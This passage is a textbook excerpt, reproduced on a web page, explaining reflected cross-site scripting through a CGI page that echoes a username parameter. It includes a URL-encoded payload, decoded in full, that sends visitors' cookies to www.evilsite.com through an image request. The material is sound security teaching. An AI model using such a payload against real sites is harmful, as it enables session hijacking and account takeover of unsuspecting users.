JavaScript Security - Cross-Site Scripting
(Page 8 of 9 )
Not all security problems related to JavaScript are the fault of the browser. Sometimes the creator of a Web application is to blame. Consider a site that accepts a user name in form input and then displays it in the page. Entering the name “Fred” and clicking Submit might result in loading a URL like http://www.example.com/mycgi?username=Fred, and the following snippet of HTML to appear in the resulting page:
Hello, <b>Fred</b>!
But what happens if someone can get you to click on a link to http://www.example.com/ mycgi?username=Fred<script>alert(‘Uh oh’);</script>? The CGI might write the following HTML into the resulting page:
Hello, <b>Fred<script>alert('Uh oh');</script></b>
The script passed in through the username URL parameter was written directly into the page, and its JavaScript is executed as normal.
This exceedingly undesirable behavior is known as cross-site scripting (commonly referred to as XSS). It allows JavaScript created by attackers to be “injected” into pages on your site. The previous example was relatively benign, but the URL could easily have contained more malicious script. For example, consider the following URL:
http://www.example.com/mycgi?username=Fritz%3Cscript%3E%0A%28new%20Image%29.src%3D %27http%3A//www.evilsite.com/%3Fstolencookie%3D%27+escape%28document.cookie%29%3B% 0A%3C/script%3E
First, note that potentially problematic characters such as <, :, and ? have been URL encoded so as not to confuse the browser. Now consider the resulting HTML that would be written into the page:
Hello, <b>Fritz <script>
(new Image).src='http://www.evilsite.com/?stolencookie='+
escape(document.cookie);
</script></b>
This script causes the browser to try to load an image from www.evilsite.com, and includes in the URL any cookies the user has for the current site (www.example.com). The fact that this image doesn’t exist is not important; the user won’t see it anyway. What is important is to notice that the attacker presumably runs www.evilsite.com, and now only has to look through his logs in order to find cookies that have been stolen from unsuspecting users. Since most sites store login information in cookies, this could potentially let the attacker log in with his victims’ identities.
Cross-site scripting attacks aren’t limited to stealing cookies. Anything undesirable that is prevented by the same origin policy could happen. For example, the script could just as easily have snooped on the user’s keypresses and sent them to www.evilsite.com. The same origin policy doesn’t apply here: the browser has no way of knowing that www.example.com didn’t intend for the script to appear in the page.
 This chapter is from JavaScript: The Complete Reference, second edition, by Thomas Powell and Fritz Schneider, McGraw-Hill/Osborne, ISBN: 0072253576). Check it out at your favorite bookstore today.
Buy this book now. |
Next: Preventing Cross-Site Scripting >>
More JavaScript Articles
More By McGraw-Hill/Osborne
/ 65 
